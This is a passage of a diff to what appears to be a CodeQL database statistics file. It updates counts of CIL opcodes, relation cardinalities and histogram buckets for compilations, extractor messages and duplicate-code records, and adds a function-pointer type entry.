<k>@cil_stobj</k> -<v>6999</v> +<v>7017</v> </e> <e> <k>@cil_conv_ovf_i1_un</k> @@ -1505,47 +1505,47 @@ </e> <e> <k>@cil_box</k> -<v>79588</v> +<v>79788</v> </e> <e> <k>@cil_newarr</k> -<v>111757</v> +<v>112039</v> </e> <e> <k>@cil_ldlen</k> -<v>55157</v> +<v>55296</v> </e> <e> <k>@cil_ldelema</k> -<v>9838</v> +<v>9863</v> </e> <e> <k>@cil_ldelem_i1</k> -<v>174</v> +<v>175</v> </e> <e> <k>@cil_ldelem_u1</k> -<v>15525</v> +<v>15564</v> </e> <e> <k>@cil_ldelem_i2</k> -<v>427</v> +<v>428</v> </e> <e> <k>@cil_ldelem_u2</k> -<v>6071</v> +<v>6086</v> </e> <e> <k>@cil_ldelem_i4</k> -<v>17528</v> +<v>17572</v> </e> <e> <k>@cil_ldelem_u4</k> -<v>19054</v> +<v>19102</v> </e> <e> <k>@cil_ldelem_i8</k> -<v>11884</v> +<v>11914</v> </e> <e> <k>@cil_ldelem_i</k> @@ -1553,15 +1553,15 @@ </e> <e> <k>@cil_ldelem_r4</k> -<v>281</v> +<v>282</v> </e> <e> <k>@cil_ldelem_r8</k> -<v>456</v> +<v>458</v> </e> <e> <k>@cil_ldelem_ref</k> -<v>30604</v> +<v>30681</v> </e> <e> <k>@cil_stelem_i</k> @@ -1569,19 +1569,19 @@ </e> <e> <k>@cil_stelem_i1</k> -<v>8764</v> +<v>8786</v> </e> <e> <k>@cil_stelem_i2</k> -<v>8958</v> +<v>8981</v> </e> <e> <k>@cil_stelem_i4</k> -<v>22754</v> +<v>22811</v> </e> <e> <k>@cil_stelem_i8</k> -<v>9396</v> +<v>9419</v> </e> <e> <k>@cil_stelem_r4</k> @@ -1589,23 +1589,23 @@ </e> <e> <k>@cil_stelem_r8</k> -<v>476</v> +<v>477</v> </e> <e> <k>@cil_stelem_ref</k> -<v>361804</v> +<v>362716</v> </e> <e> <k>@cil_ldelem</k> -<v>2270</v> +<v>2275</v> </e> <e> <k>@cil_stelem</k> -<v>53450</v> +<v>53585</v> </e> <e> <k>@cil_unbox_any</k> -<v>14344</v> +<v>14380</v> </e> <e> <k>@cil_conv_ovf_i1</k> @@ -1613,7 +1613,7 @@ </e> <e> <k>@cil_conv_ovf_u1</k> -<v>111</v> +<v>112</v> </e> <e> <k>@cil_conv_ovf_i2</k> @@ -1625,7 +1625,7 @@ </e> <e> <k>@cil_conv_ovf_i4</k> -<v>286</v> +<v>287</v> </e> <e> <k>@cil_conv_ovf_u4</k> @@ -1653,23 +1653,23 @@ </e> <e> <k>@cil_ldtoken</k> -<v>71091</v> +<v>71270</v> </e> <e> <k>@cil_conv_u2</k> -<v>4326</v> +<v>4337</v> </e> <e> <k>@cil_conv_u1</k> -<v>11223</v> +<v>11252</v> </e> <e> <k>@cil_conv_i</k> -<v>3747</v> +<v>3756</v> </e> <e> <k>@cil_conv_ovf_i</k> -<v>267</v> +<v>268</v> </e> <e> <k>@cil_conv_ovf_u</k> @@ -1677,23 +1677,23 @@ </e> <e> <k>@cil_add_ovf</k> -<v>1725</v> +<v>1729</v> </e> <e> <k>@cil_add_ovf_un</k> -<v>150</v> +<v>151</v> </e> <e> <k>@cil_mul_ovf</k> -<v>442</v> +<v>443</v> </e> <e> <k>@cil_mul_ovf_un</k> -<v>252</v> +<v>253</v> </e> <e> <k>@cil_sub_ovf</k> -<v>1108</v> +<v>1111</v> </e> <e> <k>@cil_sub_ovf_un</k> @@ -1701,15 +1701,15 @@ </e> <e> <k>@cil_endfinally</k> -<v>56722</v> +<v>56865</v> </e> <e> <k>@cil_leave</k> -<v>66653</v> +<v>66821</v> </e> <e> <k>@cil_leave_s</k> -<v>148875</v> +<v>149251</v> </e> <e> <k>@cil_stind_i</k> @@ -1717,7 +1717,7 @@ </e> <e> <k>@cil_conv_u</k> -<v>5942</v> +<v>5957</v> </e> <e> <k>@cil_arglist</k> @@ -1725,31 +1725,31 @@ </e> <e> <k>@cil_ceq</k> -<v>99216</v> +<v>99466</v> </e> <e> <k>@cil_cgt</k> -<v>11834</v> +<v>11864</v> </e> <e> <k>@cil_cgt_un</k> -<v>37558</v> +<v>37653</v> </e> <e> <k>@cil_clt</k> -<v>19973</v> +<v>20024</v> </e> <e> <k>@cil_clt_un</k> -<v>1344</v> +<v>1347</v> </e> <e> <k>@cil_ldftn</k> -<v>79680</v> +<v>79881</v> </e> <e> <k>@cil_ldvirtftn</k> -<v>1108</v> +<v>1111</v> </e> <e> <k>@cil_ldarg</k> @@ -1777,11 +1777,11 @@ </e> <e> <k>@cil_localloc</k> -<v>1000</v> +<v>1003</v> </e> <e> <k>@cil_endfilter</k> -<v>806</v> +<v>808</v> </e> <e> <k>@cil_unaligned</k> @@ -1789,7 +1789,7 @@ </e> <e> <k>@cil_volatile</k> -<v>8511</v> +<v>8532</v> </e> <e> <k>@cil_tail</k> @@ -1797,11 +1797,11 @@ </e> <e> <k>@cil_initobj</k> -<v>101457</v> +<v>101713</v> </e> <e> <k>@cil_constrained</k> -<v>25233</v> +<v>25296</v> </e> <e> <k>@cil_cpblk</k> @@ -1813,11 +1813,11 @@ </e> <e> <k>@cil_rethrow</k> -<v>3757</v> +<v>3766</v> </e> <e> <k>@cil_sizeof</k> -<v>1725</v> +<v>1729</v> </e> <e> <k>@cil_refanytype</k> @@ -1829,80 +1829,84 @@ </e> <e> <k>@cil_valueorreftype</k> -<v>594030</v> +<v>595527</v> </e> <e> <k>@cil_typeparameter</k> -<v>184385</v> +<v>184849</v> </e> <e> <k>@cil_array_type</k> -<v>14140</v> +<v>14176</v> </e> <e> <k>@cil_pointer_type</k> -<v>622</v> +<v>599</v> +</e> +<e> +<k>@cil_function_pointer_type</k> +<v>9</v> </e> <e> <k>@cil_method</k> -<v>2307141</v> +<v>2312956</v> </e> <e> <k>@cil_method_implementation</k> -<v>1722264</v> +<v>1726604</v> </e> <e> <k>@cil_field</k> -<v>1006301</v> +<v>1008837</v> </e> <e> <k>@cil_parameter</k> -<v>4537393</v> +<v>4548828</v> </e> <e> <k>@cil_property</k> -<v>379138</v> +<v>380094</v> </e> <e> <k>@cil_event</k> -<v>20799</v> +<v>20852</v> </e> <e> <k>@cil_local_variable</k> -<v>1148313</v> +<v>1151207</v> </e> <e> <k>@cil_catch_handler</k> -<v>43719</v> +<v>43829</v> </e> <e> <k>@cil_filter_handler</k> -<v>806</v> +<v>808</v> </e> <e> <k>@cil_finally_handler</k> -<v>55254</v> +<v>55393</v> </e> <e> <k>@cil_fault_handler</k> -<v>1468</v> +<v>1471</v> </e> <e> <k>@cil_attribute</k> -<v>327607</v> +<v>328433</v> </e> </typesizes> <stats><relation> <name>compilations</name> -<cardinality>1093</cardinality> +<cardinality>1096</cardinality> <columnsizes> <e> <k>id</k> -<v>1093</v> +<v>1096</v> </e> <e> <k>cwd</k> -<v>782</v> +<v>784</v> </e> </columnsizes> <dependencies> @@ -1916,7 +1920,7 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -1932,7 +1936,7 @@ <b> <a>1</a> <b>2</b> -<v>471</v> +<v>472</v> </b> <b> <a>2</a> @@ -1947,11 +1951,11 @@ </relation> <relation> <name>compilation_args</name> -<cardinality>4472</cardinality> +<cardinality>4585</cardinality> <columnsizes> <e> <k>id</k> -<v>1093</v> +<v>1096</v> </e> <e> <k>num</k> @@ -1959,7 +1963,7 @@ </e> <e> <k>arg</k> -<v>1118</v> +<v>1120</v> </e> </columnsizes> <dependencies> @@ -1973,12 +1977,12 @@ <b> <a>4</a> <b>5</b> -<v>996</v> +<v>896</v> </b> <b> <a>5</a> <b>6</b> -<v>97</v> +<v>199</v> </b> </bs> </hist> @@ -1994,12 +1998,12 @@ <b> <a>4</a> <b>5</b> -<v>996</v> +<v>896</v> </b> <b> <a>5</a> <b>6</b> -<v>97</v> +<v>199</v> </b> </bs> </hist> @@ -2013,8 +2017,8 @@ <budget>12</budget> <bs> <b> -<a>20</a> -<b>21</b> +<a>41</a> +<b>42</b> <v>4</v> </b> <b> @@ -2039,13 +2043,13 @@ <v>14</v> </b> <b> -<a>20</a> -<b>21</b> +<a>41</a> +<b>42</b> <v>4</v> </b> <b> -<a>206</a> -<b>207</b> +<a>185</a> +<b>186</b> <v>4</v> </b> </bs> @@ -2062,10 +2066,10 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> <b> -<a>20</a> +<a>41</a> <b>226</b> <v>24</v> </b> @@ -2083,7 +2087,7 @@ <b> <a>1</a> <b>2</b> -<v>1108</v> +<v>1111</v> </b> <b> <a>2</a> @@ -2098,19 +2102,19 @@ </relation> <relation> <name>compilation_compiling_files</name> -<cardinality>22540</cardinality> +<cardinality>22596</cardinality> <columnsizes> <e> <k>id</k> -<v>1093</v> +<v>1096</v> </e> <e> <k>num</k> -<v>709</v> +<v>711</v> </e> <e> <k>file</k> -<v>22535</v> +<v>22592</v> </e> </columnsizes> <dependencies> @@ -2448,7 +2452,7 @@ <b> <a>1</a> <b>2</b> -<v>22530</v> +<v>22587</v> </b> <b> <a>2</a> @@ -2469,7 +2473,7 @@ <b> <a>1</a> <b>2</b> -<v>22530</v> +<v>22587</v> </b> <b> <a>2</a> @@ -2484,19 +2488,19 @@ </relation> <relation> <name>compilation_referencing_files</name> -<cardinality>358547</cardinality> +<cardinality>359451</cardinality> <columnsizes> <e> <k>id</k> -<v>1093</v> +<v>1096</v> </e> <e> <k>num</k> -<v>2736</v> +<v>2743</v> </e> <e> <k>file</k> -<v>3407</v> +<v>3416</v> </e> </columnsizes> <dependencies> @@ -2540,7 +2544,7 @@ <b> <a>328</a> <b>344</b> -<v>72</v> +<v>73</v> </b> <b> <a>344</a> @@ -2616,7 +2620,7 @@ <b> <a>328</a> <b>344</b> -<v>72</v> +<v>73</v> </b> <b> <a>344</a> @@ -2662,7 +2666,7 @@ <b> <a>1</a> <b>4</b> -<v>218</v> +<v>219</v> </b> <b> <a>4</a> @@ -2672,12 +2676,12 @@ <b> <a>7</a> <b>8</b> -<v>695</v> +<v>696</v> </b> <b> <a>8</a> <b>118</b> -<v>218</v> +<v>219</v> </b> <b> <a>118</a> @@ -2687,12 +2691,12 @@ <b> <a>222</a> <b>223</b> -<v>636</v> +<v>638</v> </b> <b> <a>224</a> <b>225</b> -<v>709</v> +<v>711</v> </b> <b> <a>225</a> @@ -2713,62 +2717,62 @@ <b> <a>1</a> <b>4</b> -<v>218</v> +<v>219</v> </b> <b> <a>4</a> <b>6</b> -<v>126</v> +<v>136</v> </b> <b> <a>6</a> <b>7</b> -<v>578</v> +<v>570</v> </b> <b> <a>7</a> <b>20</b> -<v>233</v> +<v>199</v> </b> <b> <a>20</a> <b>25</b> -<v>233</v> +<v>219</v> </b> <b> <a>25</a> <b>30</b> -<v>228</v> +<v>219</v> </b> <b> <a>30</a> -<b>37</b> +<b>35</b> <v>209</v> </b> <b> -<a>37</a> -<b>48</b> +<a>35</a> +<b>46</b> <v>209</v> </b> <b> -<a>48</a> -<b>58</b> -<v>213</v> +<a>46</a> +<b>57</b> +<v>214</v> </b> <b> -<a>58</a> +<a>57</a> <b>60</b> -<v>199</v> +<v>233</v> </b> <b> <a>60</a> <b>63</b> -<v>209</v> +<v>214</v> </b> <b> <a>63</a> -<b>67</b> -<v>77</v> +<b>69</b> +<v>97</v> </b> </bs> </hist> @@ -2784,12 +2788,12 @@ <b> <a>1</a> <b>2</b> -<v>524</v> +<v>526</v> </b> <b> <a>2</a> <b>5</b> -<v>257</v> +<v>258</v> </b> <b> <a>6</a> @@ -2799,7 +2803,7 @@ <b> <a>7</a> <b>8</b> -<v>315</v> +<v>316</v> </b> <b> <a>8</a> @@ -2809,12 +2813,12 @@ <b> <a>10</a> <b>23</b> -<v>257</v> +<v>258</v> </b> <b> <a>23</a> <b>122</b> -<v>257</v> +<v>258</v> </b> <b> <a>124</a> @@ -2824,17 +2828,17 @@ <b> <a>220</a> <b>221</b> -<v>72</v> +<v>73</v> </b> <b> <a>222</a> <b>223</b> -<v>481</v> +<v>482</v> </b> <b> <a>224</a> <b>225</b> -<v>714</v> +<v>716</v> </b> </bs> </hist> @@ -2850,62 +2854,62 @@ <b> <a>1</a> <b>2</b> -<v>559</v> +<v>560</v> </b> <b> <a>2</a> <b>5</b> -<v>257</v> +<v>258</v> </b> <b> <a>5</a> <b>6</b> -<v>199</v> +<v>209</v> </b> <b> <a>6</a> <b>7</b> -<v>301</v> +<v>268</v> </b> <b> <a>7</a> -<b>11</b> -<v>296</v> +<b>10</b> +<v>287</v> </b> <b> -<a>11</a> -<b>18</b> -<v>257</v> -</b> -<b> -<a>18</a> -<b>22</b> -<v>306</v> -</b> -<b> -<a>22</a> -<b>27</b> -<v>272</v> -</b> -<b> -<a>27</a> -<b>58</b> -<v>277</v> -</b> -<b> -<a>58</a> -<b>61</b> -<v>272</v> -</b> -<b> -<a>61</a> -<b>66</b> +<a>10</a> +<b>19</b> <v>311</v> </b> <b> +<a>19</a> +<b>23</b> +<v>268</v> +</b> +<b> +<a>23</a> +<b>28</b> +<v>282</v> +</b> +<b> +<a>28</a> +<b>59</b> +<v>268</v> +</b> +<b> +<a>59</a> +<b>62</b> +<v>263</v> +</b> +<b> +<a>62</a> +<b>66</b> +<v>297</v> +</b> +<b> <a>66</a> -<b>71</b> -<v>97</v> +<b>72</b> +<v>141</v> </b> </bs> </hist> @@ -2915,11 +2919,11 @@ </relation> <relation> <name>compilation_time</name> -<cardinality>7655</cardinality> +<cardinality>7675</cardinality> <columnsizes> <e> <k>id</k> -<v>1093</v> +<v>1096</v> </e> <e> <k>num</k> @@ -2931,7 +2935,7 @@ </e> <e> <k>seconds</k> -<v>5896</v> +<v>5443</v> </e> </columnsizes> <dependencies> @@ -2945,7 +2949,7 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -2961,7 +2965,7 @@ <b> <a>7</a> <b>8</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -2977,129 +2981,134 @@ <b> <a>6</a> <b>7</b> +<v>4</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1091</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>225</a> +<b>226</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>7</a> +<b>8</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num</src> +<trg>seconds</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1117</a> +<b>1118</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>225</a> +<b>226</b> +<v>34</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>num</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>34</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>seconds</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>159</a> +<b>160</b> +<v>4</v> +</b> +<b> +<a>166</a> +<b>167</b> +<v>4</v> +</b> +<b> +<a>172</a> +<b>173</b> +<v>4</v> +</b> +<b> +<a>177</a> +<b>178</b> +<v>4</v> +</b> +<b> +<a>224</a> +<b>225</b> +<v>4</v> +</b> +<b> +<a>225</a> +<b>226</b> <v>9</v> </b> -<b> -<a>7</a> -<b>8</b> -<v>1083</v> -</b> -</bs> -</hist> -</val> -</dep> -<dep> -<src>num</src> -<trg>id</trg> -<val> -<hist> -<budget>12</budget> -<bs> -<b> -<a>225</a> -<b>226</b> -<v>4</v> -</b> -</bs> -</hist> -</val> -</dep> -<dep> -<src>num</src> -<trg>kind</trg> -<val> -<hist> -<budget>12</budget> -<bs> -<b> -<a>7</a> -<b>8</b> -<v>4</v> -</b> -</bs> -</hist> -</val> -</dep> -<dep> -<src>num</src> -<trg>seconds</trg> -<val> -<hist> -<budget>12</budget> -<bs> -<b> -<a>1213</a> -<b>1214</b> -<v>4</v> -</b> -</bs> -</hist> -</val> -</dep> -<dep> -<src>kind</src> -<trg>id</trg> -<val> -<hist> -<budget>12</budget> -<bs> -<b> -<a>225</a> -<b>226</b> -<v>34</v> -</b> -</bs> -</hist> -</val> -</dep> -<dep> -<src>kind</src> -<trg>num</trg> -<val> -<hist> -<budget>12</budget> -<bs> -<b> -<a>1</a> -<b>2</b> -<v>34</v> -</b> -</bs> -</hist> -</val> -</dep> -<dep> -<src>kind</src> -<trg>seconds</trg> -<val> -<hist> -<budget>12</budget> -<bs> -<b> -<a>168</a> -<b>169</b> -<v>4</v> -</b> -<b> -<a>176</a> -<b>177</b> -<v>4</v> -</b> -<b> -<a>192</a> -<b>193</b> -<v>4</v> -</b> -<b> -<a>193</a> -<b>194</b> -<v>4</v> -</b> -<b> -<a>225</a> -<b>226</b> -<v>14</v> -</b> </bs> </hist> </val> @@ -3114,64 +3123,64 @@ <b> <a>1</a> <b>2</b> -<v>4807</v> +<v>4249</v> </b> <b> <a>2</a> <b>3</b> -<v>612</v> -</b> -<b> -<a>3</a> -<b>6</b> -<v>461</v> -</b> -<b> -<a>6</a> -<b>9</b> -<v>14</v> -</b> -</bs> -</hist> -</val> -</dep> -<dep> -<src>seconds</src> -<trg>num</trg> -<val> -<hist> -<budget>12</budget> -<bs> -<b> -<a>1</a> -<b>2</b> -<v>5896</v> -</b> -</bs> -</hist> -</val> -</dep> -<dep> -<src>seconds</src> -<trg>kind</trg> -<val> -<hist> -<budget>12</budget> -<bs> -<b> -<a>1</a> -<b>2</b> -<v>5079</v> -</b> -<b> -<a>2</a> -<b>3</b> -<v>719</v> +<v>584</v> </b> <b> <a>3</a> <b>5</b> -<v>97</v> +<v>492</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>116</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>seconds</src> +<trg>num</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5443</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>seconds</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4522</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>730</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>190</v> </b> </bs> </hist> @@ -4414,11 +4423,11 @@ </relation> <relation> <name>extractor_messages</name> -<cardinality>7615</cardinality> +<cardinality>7631</cardinality> <columnsizes> <e> <k>id</k> -<v>7615</v> +<v>7631</v> </e> <e> <k>severity</k> @@ -4442,7 +4451,7 @@ </e> <e> <k>stack_trace</k> -<v>210</v> +<v>212</v> </e> </columnsizes> <dependencies> @@ -4456,7 +4465,7 @@ <b> <a>1</a> <b>2</b> -<v>7615</v> +<v>7631</v> </b> </bs> </hist> @@ -4472,7 +4481,7 @@ <b> <a>1</a> <b>2</b> -<v>7615</v> +<v>7631</v> </b> </bs> </hist> @@ -4488,7 +4497,7 @@ <b> <a>1</a> <b>2</b> -<v>7615</v> +<v>7631</v> </b> </bs> </hist> @@ -4504,7 +4513,7 @@ <b> <a>1</a> <b>2</b> -<v>7615</v> +<v>7631</v> </b> </bs> </hist> @@ -4520,7 +4529,7 @@ <b> <a>1</a> <b>2</b> -<v>7615</v> +<v>7631</v> </b> </bs> </hist> @@ -4536,7 +4545,7 @@ <b> <a>1</a> <b>2</b> -<v>7615</v> +<v>7631</v> </b> </bs> </hist> @@ -4560,8 +4569,8 @@ <v>1</v> </b> <b> -<a>7586</a> -<b>7587</b> +<a>7602</a> +<b>7603</b> <v>1</v> </b> </bs> @@ -4670,8 +4679,8 @@ <v>2</v> </b> <b> -<a>209</a> -<b>210</b> +<a>211</a> +<b>212</b> <v>1</v> </b> </bs> @@ -4686,8 +4695,8 @@ <budget>12</budget> <bs> <b> -<a>7615</a> -<b>7616</b> +<a>7631</a> +<b>7632</b> <v>1</v> </b> </bs> @@ -4766,8 +4775,8 @@ <budget>12</budget> <bs> <b> -<a>210</a> -<b>211</b> +<a>212</a> +<b>213</b> <v>1</v> </b> </bs> @@ -4792,11 +4801,6 @@ <v>1</v> </b> <b> -<a>8</a> -<b>9</b> -<v>1</v> -</b> -<b> <a>11</a> <b>12</b> <v>1</v> @@ -4809,7 +4813,7 @@ <b> <a>24</a> <b>25</b> -<v>1</v> +<v>2</v> </b> <b> <a>38</a> @@ -4827,13 +4831,13 @@ <v>1</v> </b> <b> -<a>326</a> -<b>327</b> +<a>324</a> +<b>325</b> <v>1</v> </b> <b> -<a>2411</a> -<b>2412</b> +<a>2413</a> +<b>2414</b> <v>1</v> </b> <b> @@ -4920,13 +4924,13 @@ <v>1</v> </b> <b> -<a>275</a> -<b>276</b> +<a>274</a> +<b>275</b> <v>1</v> </b> <b> -<a>1647</a> -<b>1648</b> +<a>1648</a> +<b>1649</b> <v>1</v> </b> <b> @@ -4981,13 +4985,13 @@ <v>1</v> </b> <b> -<a>326</a> -<b>327</b> +<a>324</a> +<b>325</b> <v>1</v> </b> <b> -<a>2017</a> -<b>2018</b> +<a>2019</a> +<b>2020</b> <v>1</v> </b> <b> @@ -5009,7 +5013,7 @@ <b> <a>1</a> <b>2</b> -<v>4</v> +<v>5</v> </b> <b> <a>2</a> @@ -5019,16 +5023,11 @@ <b> <a>3</a> <b>4</b> -<v>1</v> +<v>2</v> </b> <b> -<a>4</a> -<b>5</b> -<v>1</v> -</b> -<b> -<a>5</a> -<b>6</b> +<a>7</a> +<b>8</b> <v>1</v> </b> <b> @@ -5037,18 +5036,13 @@ <v>1</v> </b> <b> -<a>9</a> -<b>10</b> +<a>56</a> +<b>57</b> <v>1</v> </b> <b> -<a>53</a> -<b>54</b> -<v>1</v> -</b> -<b> -<a>123</a> -<b>124</b> +<a>129</a> +<b>130</b> <v>1</v> </b> </bs> @@ -5170,12 +5164,12 @@ <b> <a>1</a> <b>2</b> -<v>5210</v> +<v>5220</v> </b> <b> <a>2</a> <b>6</b> -<v>83</v> +<v>73</v> </b> </bs> </hist> @@ -5199,8 +5193,8 @@ <v>902</v> </b> <b> -<a>13</a> -<b>14</b> +<a>29</a> +<b>30</b> <v>1</v> </b> </bs> @@ -5296,12 +5290,12 @@ <b> <a>1</a> <b>2</b> -<v>6687</v> +<v>6689</v> </b> <b> <a>2</a> -<b>7</b> -<v>14</v> +<b>3</b> +<v>12</v> </b> </bs> </hist> @@ -5317,52 +5311,47 @@ <b> <a>1</a> <b>2</b> -<v>61</v> +<v>60</v> </b> <b> <a>2</a> <b>3</b> -<v>37</v> +<v>43</v> </b> <b> <a>3</a> <b>4</b> -<v>12</v> +<v>19</v> </b> <b> <a>4</a> -<b>5</b> -<v>16</v> +<b>6</b> +<v>18</v> </b> <b> -<a>5</a> -<b>7</b> -<v>16</v> -</b> -<b> -<a>7</a> +<a>6</a> <b>10</b> -<v>16</v> +<v>17</v> </b> <b> <a>10</a> -<b>16</b> +<b>15</b> +<v>17</v> +</b> +<b> +<a>17</a> +<b>59</b> <v>16</v> </b> <b> -<a>20</a> -<b>74</b> +<a>60</a> +<b>340</b> <v>16</v> </b> <b> -<a>76</a> -<b>432</b> -<v>16</v> -</b> -<b> -<a>563</a> -<b>1147</b> -<v>4</v> +<a>412</a> +<b>1173</b> +<v>6</v> </b> </bs> </hist> @@ -5378,7 +5367,7 @@ <b> <a>1</a> <b>2</b> -<v>209</v> +<v>211</v> </b> <b> <a>2</a> @@ -5399,7 +5388,7 @@ <b> <a>1</a> <b>2</b> -<v>210</v> +<v>212</v> </b> </bs> </hist> @@ -5415,7 +5404,7 @@ <b> <a>1</a> <b>2</b> -<v>209</v> +<v>211</v> </b> <b> <a>2</a> @@ -5436,47 +5425,42 @@ <b> <a>1</a> <b>2</b> -<v>76</v> +<v>78</v> </b> <b> <a>2</a> <b>3</b> -<v>32</v> +<v>35</v> </b> <b> <a>3</a> <b>4</b> -<v>16</v> +<v>25</v> </b> <b> <a>4</a> -<b>5</b> -<v>12</v> +<b>6</b> +<v>14</v> </b> <b> -<a>5</a> -<b>7</b> +<a>6</a> +<b>10</b> <v>18</v> </b> <b> -<a>7</a> -<b>12</b> -<v>18</v> -</b> -<b> -<a>12</a> -<b>43</b> +<a>10</a> +<b>20</b> <v>16</v> </b> <b> -<a>45</a> -<b>250</b> +<a>20</a> +<b>117</b> <v>16</v> </b> <b> -<a>277</a> -<b>925</b> -<v>6</v> +<a>129</a> +<b>946</b> +<v>10</v> </b> </bs> </hist> @@ -5492,47 +5476,42 @@ <b> <a>1</a> <b>2</b> -<v>71</v> +<v>69</v> </b> <b> <a>2</a> <b>3</b> -<v>32</v> +<v>39</v> </b> <b> <a>3</a> <b>4</b> -<v>15</v> +<v>22</v> </b> <b> <a>4</a> -<b>5</b> -<v>15</v> +<b>6</b> +<v>19</v> </b> <b> -<a>5</a> -<b>7</b> -<v>14</v> -</b> -<b> -<a>7</a> +<a>6</a> <b>11</b> -<v>16</v> +<v>18</v> </b> <b> <a>11</a> -<b>22</b> +<b>20</b> <v>16</v> </b> <b> -<a>28</a> -<b>102</b> +<a>21</a> +<b>119</b> <v>16</v> </b> <b> -<a>102</a> -<b>1147</b> -<v>15</v> +<a>121</a> +<b>1173</b> +<v>13</v> </b> </bs> </hist> @@ -5542,19 +5521,19 @@ </relation> <relation> <name>compilation_finished</name> -<cardinality>1093</cardinality> +<cardinality>1096</cardinality> <columnsizes> <e> <k>id</k> -<v>1093</v> +<v>1096</v> </e> <e> <k>cpu_seconds</k> -<v>1001</v> +<v>945</v> </e> <e> <k>elapsed_seconds</k> -<v>1093</v> +<v>1096</v> </e> </columnsizes> <dependencies> @@ -5568,7 +5547,7 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -5584,7 +5563,7 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -5600,12 +5579,17 @@ <b> <a>1</a> <b>2</b> -<v>918</v> +<v>808</v> </b> <b> <a>2</a> +<b>3</b> +<v>121</v> +</b> +<b> +<a>3</a> <b>4</b> -<v>82</v> +<v>14</v> </b> </bs> </hist> @@ -5621,12 +5605,17 @@ <b> <a>1</a> <b>2</b> -<v>918</v> +<v>808</v> </b> <b> <a>2</a> +<b>3</b> +<v>121</v> +</b> +<b> +<a>3</a> <b>4</b> -<v>82</v> +<v>14</v> </b> </bs> </hist> @@ -5642,7 +5631,7 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -5658,7 +5647,7 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -5668,15 +5657,15 @@ </relation> <relation> <name>compilation_assembly</name> -<cardinality>1093</cardinality> +<cardinality>1096</cardinality> <columnsizes> <e> <k>id</k> -<v>1093</v> +<v>1096</v> </e> <e> <k>assembly</k> -<v>1093</v> +<v>1096</v> </e> </columnsizes> <dependencies> @@ -5690,7 +5679,7 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -5706,7 +5695,7 @@ <b> <a>1</a> <b>2</b> -<v>1093</v> +<v>1096</v> </b> </bs> </hist> @@ -6368,19 +6357,19 @@ </relation> <relation> <name>duplicateCode</name> -<cardinality>22690</cardinality> +<cardinality>22748</cardinality> <columnsizes> <e> <k>id</k> -<v>22690</v> +<v>22748</v> </e> <e> <k>relativePath</k> -<v>3796</v> +<v>3805</v> </e> <e> <k>equivClass</k> -<v>6994</v> +<v>7012</v> </e> </columnsizes> <dependencies> @@ -6394,7 +6383,7 @@ <b> <a>1</a> <b>2</b> -<v>22690</v> +<v>22748</v> </b> </bs> </hist> @@ -6410,7 +6399,7 @@ <b> <a>1</a> <b>2</b> -<v>22690</v> +<v>22748</v> </b> </bs> </hist> @@ -6426,32 +6415,32 @@ <b> <a>1</a> <b>2</b> -<v>1059</v> +<v>1062</v> </b> <b> <a>2</a> <b>3</b> -<v>563</v> +<v>565</v> </b> <b> <a>3</a> <b>4</b> -<v>422</v> +<v>423</v> </b> <b> <a>4</a> <b>5</b> -<v>218</v> +<v>219</v> </b> <b> <a>5</a> <b>6</b> -<v>218</v> +<v>219</v> </b> <b> <a>6</a> <b>8</b> -<v>335</v> +<v>336</v> </b> <b> <a>8</a> @@ -6461,12 +6450,12 @@ <b> <a>10</a> <b>14</b> -<v>315</v> +<v>316</v> </b> <b> <a>14</a> <b>28</b> -<v>286</v> +<v>287</v> </b> <b> <a>29</a> @@ -6487,17 +6476,17 @@ <b> <a>1</a> <b>2</b> -<v>1127</v> +<v>1130</v> </b> <b> <a>2</a> <b>3</b> -<v>520</v> +<v>521</v> </b> <b> <a>3</a> <b>4</b> -<v>442</v> +<v>443</v> </b> <b> <a>4</a> @@ -6507,12 +6496,12 @@ <b> <a>5</a> <b>6</b> -<v>228</v> +<v>229</v> </b> <b> <a>6</a> <b>8</b> -<v>325</v> +<v>326</v> </b> <b> <a>8</a> @@ -6527,7 +6516,7 @@ <b> <a>14</a> <b>32</b> -<v>291</v> +<v>292</v> </b> <b> <a>33</a> @@ -6548,32 +6537,32 @@ <b> <a>2</a> <b>3</b> -<v>3757</v> +<v>3766</v> </b> <b> <a>3</a> <b>4</b> -<v>1142</v> +<v>1145</v> </b> <b> <a>4</a> <b>5</b> -<v>782</v> 